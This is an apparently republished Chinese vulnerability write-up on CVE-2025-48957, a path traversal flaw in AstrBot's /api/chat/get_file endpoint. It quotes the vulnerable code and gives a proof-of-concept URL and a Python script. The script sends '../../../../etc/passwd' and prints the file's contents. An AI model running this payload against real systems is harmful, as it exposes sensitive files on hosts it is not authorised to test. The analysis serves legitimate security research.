AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)

admin 2026-01-28 06:52:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析AstrBot3.4.4至3.5.12版本任意文件读取漏洞CVE-2025-48957。漏洞源于get_file方法未对filename参数过滤,导致攻击者可利用路径遍历读取敏感文件。文章解析了代码逻辑,提供了复现POC及Python检测脚本,验证了漏洞危害。 综合评分: 91 文章分类: 漏洞分析,WEB安全,漏洞POC


cover_image

AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)

Gscsed Gscsed

船山信安

2026年1月27日 18:06 河北

漏洞说明

AstrBot是AstrBot开源的一个多平台 LM 聊天机器人及开发框架。AstrBot 3.4.4至3.5.12版本存在安全漏洞,该漏洞源于路径遍历缺陷,可能导致敏感信息泄露。

影响版本

3.4.4至3.5.12

代码结构

  • astrbot:核心代码

  • api:未开发插件设计的模块和工具,方便插件进行导入和使用

  • core:核心代码

  • dashboard:WebUI后端代码

  • changelogs:更新日志

  • dashboard:WebUI后端代码

  • packages:保留插件

  • tests:测试代码

  • main.py:主程序入口

分析

漏洞成因

根据网上的poc分析源码,找到get_file方法,在AstrBot-3.5.12/dashboard/routes/chat.py中

async def get_file(self):
    filename = request.args.get("filename")
    if not filename:
        return Response().error("Missing key: filename").__dict__

    try:
        with open(os.path.join(self.imgs_dir, filename), "rb") as f:
            if filename.endswith(".wav"):
                return QuartResponse(f.read(), mimetype="audio/wav")
            elif filename.split(".")[-1] in self.supported_imgs:
                return QuartResponse(f.read(), mimetype="image/jpeg")
            else:
                return QuartResponse(f.read())

    except FileNotFoundError:
        return Response().error("File not found").__dict__

首先分析这段代码,获取文件名:从查询参数中获取“filename”,如果没有提供文件名返回错误;打开并返回文件:尝试在self.imgs_dir目录下打开文件,使用with语句确保文件正确关闭;根据文件类型设置:如果是.wav音频文件则设置MIME类型为“audio/wav”,如果是图片格式(检查拓展名是否在self.supported_imgs中)则设置MIME类型为“image/jpeg”,其他文件类型不指定MIME类型,让Quart自动判断,错误处理:如果文件不存在,则返回File not found。

在上面的代码中可以知道并没有对文件名进行检查,而且f.read()一次性读取整个文件到内存,包括使用split(“.”)[-1]获取拓展名,对于没有拓展名或点开头的文件名会出现错误

当然不能光是判断文件名这些,要找到获取文件路径的位置

self.imgs_dir = os.path.join(get_astrbot_data_path(), "webchat", "imgs")

可以跟踪一下看看这个get_astrbot_data_path()在什么位置被定义了(这个函数获取AstrBot应用程序数据存储根目录)

也可以使用ctrl+鼠标左键对准这个函数即可跳转到声明

文件位置为AstrBot-3.5.12/astrbot/core/utils/astrbot_path.py

def get_astrbot_root() -> str:
    """获取Astrbot根目录路径"""
    if path := os.environ.get("ASTRBOT_ROOT"):
        return os.path.realpath(path)
    else:
        return os.path.realpath(os.getcwd())

def get_astrbot_data_path() -> str:
    """获取Astrbot数据目录路径"""
    return os.path.realpath(os.path.join(get_astrbot_root(), "data"))

get_astrbot_root()

这里是获取根目录的一个路径,先使用环境变量ASTRBOT_ROOT指定路径,若没有设置环境变量,则返回当前工作目录os.getcwd()

当然返回值是绝对路径(通过os.path.realpath解析符号链接并标准化)

get_astrbot_data_path()

跟上面一个函数的逻辑是一样的,不过多了一个os.path.join(),路径拼接一个data子目录

然后通过路径标准化:解析符号链接->转换为绝对路径->规范化路径格式(移除./,../等)

根据以上分析,直接使用/api/chat/get_file?filename=就可以去构成一个任意文件读取

POC

xxxx/api/chat/get_file?filename=../../../../etc/passwd

脚本

import requests
import argparse
from urllib.parse import quote

def check_vulnerability(url):

    payloads = [
        "../../../../etc/passwd"
    ]

    for payload in payloads:
        try:
            target_url = f"{url}?filename={quote(payload)}"
            response = requests.get(
                target_url,
                timeout=10,
                headers={'User-Agent': 'SecurityScanner/1.0'}
            )

            if response.status_code == 200 and "root:x:0" in response.text:
                print("\n")
                print(response.text)
                return True

        except Exception as e:
            print(f"[-] 测试失败 ({payload}): {str(e)}")

    print("未检测到漏洞")
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-48957")
    parser.add_argument("url", help="目标URL (例如: http://example.com/api/get_file)")
    args = parser.parse_args()

    if not args.url.startswith(("http://", "https://")):
        print("[!] 请提供完整的URL (以http://或https://开头)")
        exit(1)

    check_vulnerability(args.url)

测试成果


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 Gscsed Gscsed《AstrBot任意文件读取漏洞漏洞详细分析及复现(CVE-2025-48957)》

评论:0   参与:  0